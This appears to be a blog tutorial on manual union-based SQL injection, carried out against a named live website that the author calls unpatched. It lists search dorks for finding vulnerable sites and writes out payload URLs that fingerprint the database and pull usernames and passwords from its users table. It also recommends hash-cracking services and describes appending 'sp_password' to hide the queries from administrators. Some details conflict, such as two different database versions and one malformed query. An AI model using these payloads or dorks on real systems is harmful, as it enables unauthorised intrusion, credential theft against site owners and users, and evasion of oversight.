SQL Injection Basics - Union Based [Detailed Tutorial]

Well, I would not be blogging about some thing new, however, it was missing at RHA for a long long time, thought there are tools out there to carry out all sorts of SQL Injection attacks however if you don't know what your tool is exactly doing at the backend then it's useless and the best way to learn according to me is doing it manually. As there is a saying that "A fool with a tool is always a fool", With that being said, i would like to summarize what i would be talking about in this post. Basically, i would be targeting a live website that is known to be vulnerable to SQL Injection, i have reported them many times, however they don't care so therefore i am making a full disclosure. Also in this post i would not be explaining what a SQL injection is (In Detail), because i feel that there are tons and tons of websites that have already written about it. However, i would talk more about the testing process.

What Is SQL Injection?

SQL Injection is one of the most commonly found vulnerabilities present on the web, It holds the number one place in Owasp Top 10. A SQL Injection can be defined as an attack in which we append SQL queries in order to extract the data present in the database. This normally occurs due to lack of input validation. SQL Injection can also commonly used by attackers to bypass authentication, however here, we would focus on Data extraction with SQL Injection.

Finding A Vulnerable Website

In order to begin with this tutorial, you would need a vulnerable website. Either, you could use the one, which i would be mentioning in this tutorial, or you could find your own. You could use variety of google dorks for this purpose. Here are some of the common dorks to find a SQL Injection vulnerability:

inurl:/general.php?*id=*
inurl:/careers-detail.asp?id=
inurl:/WhatNew.asp?page=&id=
inurl:/gallery.asp?cid=
inurl:/publications.asp?type=
inurl:/mpfn=pdview&id=
inurl:/reservations.php?id=
inurl:/list_blogs.php?sort_mode=
inurl:/eventdetails.php?*=
inurl:/commodities.php?*id=
inurl:/recipe-view.php?id=
inurl:product.php?mid=
inurl:view_ad.php?id=
inurl:/imprimir.php?id=
inurl:/prodotti.php?id=
inurl:index.cgi?aktion=shopview
inurl:/default.php?id=
inurl:/default.php?portalID=
inurl:/*.php?id=
inurl:/articles.php?id=
inurl:/os_view_full.php?
inurl:/Content.asp?id=
inurl:/CollectionContent.asp?id=

Alternatively to save your self some time, you could use a neat tool called "Xcode Exploit Scanner"  which would use built in dorks in order to find a SQL injection vulnerability.

Testing For SQL Injection

http://www.outreachforyouth.org/description.php?recordID=1

We would test the above website for a SQL injection vulnerability. Which could clearly from the url that recordID parameter is accepting the input, these places are more likely to have a sql injection vulnerability as there are chances that the input validation is not performed. So in order to test for a SQL Injection vulnerability, we would insert a ', after the input, this would break the query. Depending upon the database, we would get different types of errors.

On appending the ', we get an error:

Request: http://www.outreachforyouth.org/description.php?recordID=1' 

we get the following error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Determining The Number Of Columns:

In Mysql, an order by command is used to order a sequence in a particular order, here we would be using an order by command to determine the number of columns. Our first request would look like:

http://www.outreachforyouth.org/description.php?recordID=1 order by 1--

The page loads fine.

We would keep increasing the order by command number until we get an error, which would usually be something like "Unknown column in 'order clause'" or something similar to it. So in this case

http://www.outreachforyouth.org/description.php?recordID=1 order by 1-- No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 2-- No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 3-- No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 4-No error http://www.outreachforyouth.org/description.php?recordID=1 order by 6--No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 7--No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 8--No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 9--No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 10--No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 11--No error
http://www.outreachforyouth.org/description.php?recordID=1 order by 12--Error

Hence we conclude that the number of columns are 11. 

String Method

In above example, the column count were found by integer method. However, sometimes, we would need to use string method in order to find columns count, In that case, no matter how you much you increase the order count the page will load fine, in those cases, you would keep the ' appended when determining the column count.

Example:

http://www.outreachforyouth.org/description.php?recordID=1' order by 11--


Finding A Vulnerable Coulmn

Next, we would need to find the vulnerable column, which would be used to extract data from the database. We would use a Union command, which is the combination of two select statements in order to extract the data. Along with it, we will also place a negative sign just after the equal sign.

Example

http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,4,5,6,7,8,9,10,11--

So, as you can look at the above picture is that we see 3,4 and 6th column on the page. This shows us that these particular columns are being used to display information on the webpage and can be used to extract information from the database.


Other Methods

http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,4,5,6,7,8,9,10,11--
http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 Union all select 1,2,3,4,5,6,7,8,9,10,11--
http://www.outreachforyouth.org/description.php?recordID=Null Union all select 1,2,3,4,5,6,7,8,9,10,11--

Fingerprinting The Database

The next step would be to use the vulnerable column in order to finger print the database. We would use the following commands.

user() - Shows the current user.
version() - Displays the database version (Super Important)
database() - Displays the name of the database.

Let's finger print the database information.

Example:

http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,version(),5,6,7,8,9,10,11--
http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,user(),5,6,7,8,9,10,11--
http://www.outreachforyouth.org/description.php?recordID=-1 Union all select 1,2,3,database(),5,6,7,8,9,10,11--

Extracted Information

Database Version: 5.1.66-cll
User: outreach_db_user@localhost
Database: outreach5

We are lucky that we have version 5 here, therefore it's possible for us to extract the table names, however, if the version would have been less than 5, we would had to guess the table names, because in mysql version 4, there is no information_schema which links all the databases.

Extracting The Table Names

Now, we add queries to extract the table names from the current database, we would use group_concat inside the vulnerable column order to extract all the tables.

Note: If we would just use concat, we would be able to extract only one table name.  

Example

http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11 from information_schema.tables




















This would extract all the table names. However most of them would be unimportant for us, we are in search for the tables such as users, administrators etc. So therefore to filter out our search to only extract tables from the current database.

Example

http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()--

Extracted Tables

churchtestimonies,description,testimonies,users

We have successfully extracted four tables, however the most important data would be contained inside the users tables.

Converting The Table Names To Hex Or Mysql Char

Most of the times the table names would not work when extracting data from a table, therefore i would recommend you to either convert the table_names to hex or my sql char. You can google for online tools or use hackbar in order to convert.

Hex Equivalent:

User = 0x5573657273

Mysql Char Equivalnet:

User = CHAR(117, 115, 101, 114, 115)

So now our query would become:

Example

http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11 from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)--

So, what the above query is asking is to return all the columns in table from information_schema.columns where the table name is the char equivalent of users.

So, three columns were returned inside the users table:

id, name, password. 

Now it's time to extract the id, name and password from the users table.

Our final query would be:

Example

http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,concat(id,name,password),5,6,7,8,9,10,11 from users--

So, in the above query we are just asking the database for the data behind the id, name and password from the table users. You may have noticed that we used concat here instead of group_concat, this is because, we wanted just to extract the password for the first user which is most of the times the administrator.

In order to format it well, we can use table exits.

Example:


http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,concat(id,0x3a ,name,0x3a,password,0x3a),5,6,7,8,9,10,11 from users--

So finally we have extracted the username and password from the database. Some websites store the passwords in form of hashes, you would mostly see MD5 hashes, if you come across a MD5 hash, You can use tons of services online to decrypt the hash. My favorite is Md5 decrpyter (http://www.md5decrypter.co.uk/) , it contains list of more than 8.7 billion decrypted passwords. Alternatively, you can also perform brute force or dictionary attacks using a tool called PasswordsPro, You could also launch a GPU based password cracking attack by using a tool called OCI hash cat.

Hiding Queries From The Administrators

In order to avoid administrators noticing the attack, we would need to append sp_password at the end of the query. Here is the query:

Example:

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,user(),5,6,7,8,9,10,11-- sp_password

Queries Summary

Vulnerability

http://www.outreachforyouth.org/description.php?recordID=1'

Determining the number of Columns

http://www.outreachforyouth.org/description.php?recordID=1 order by 1,2,3,4,5,6,7,8,9,10,11--

Union Comman to find vulnerale Columns

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,4,5,6,7,8,9,10,11--

Version Detection 

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,@@version,5,6,7,8,9,10,11--

User detection

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,user(),5,6,7,8,9,10,11-- sp_password

Database 

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,database(),5,6,7,8,9,10,11--

Database Version: 5.0.675

User: outreach_db_user@localhost

Database: outreach5

Extracting the tables 

http://www.outreachforyouth.org/description.php?recordID=-1 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11 from information_schema.columns where table_name=users()--

Table

churchtestimonies,description,testimonies,users

Extracting Passwords Using Table Exits

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,concat(id),5,6,7,8,9,10,11 from users--

http://www.outreachforyouth.org/description.php?recordID=1 and 1=0 union all select 1,2,3,concat(id,0x3a ,name,0x3a,password,0x3a),5,6,7,8,9,10,11 from users--

So this concludes this post, I would try to cover other advanced techniques such as time based techniques for SQL injection in my upcoming posts.

Update: We have just released the second part of the series on "Blind SQL Injection" detection and exploitation techniques, if you interested in learning more about SQL injection than it's worth taking a look at it.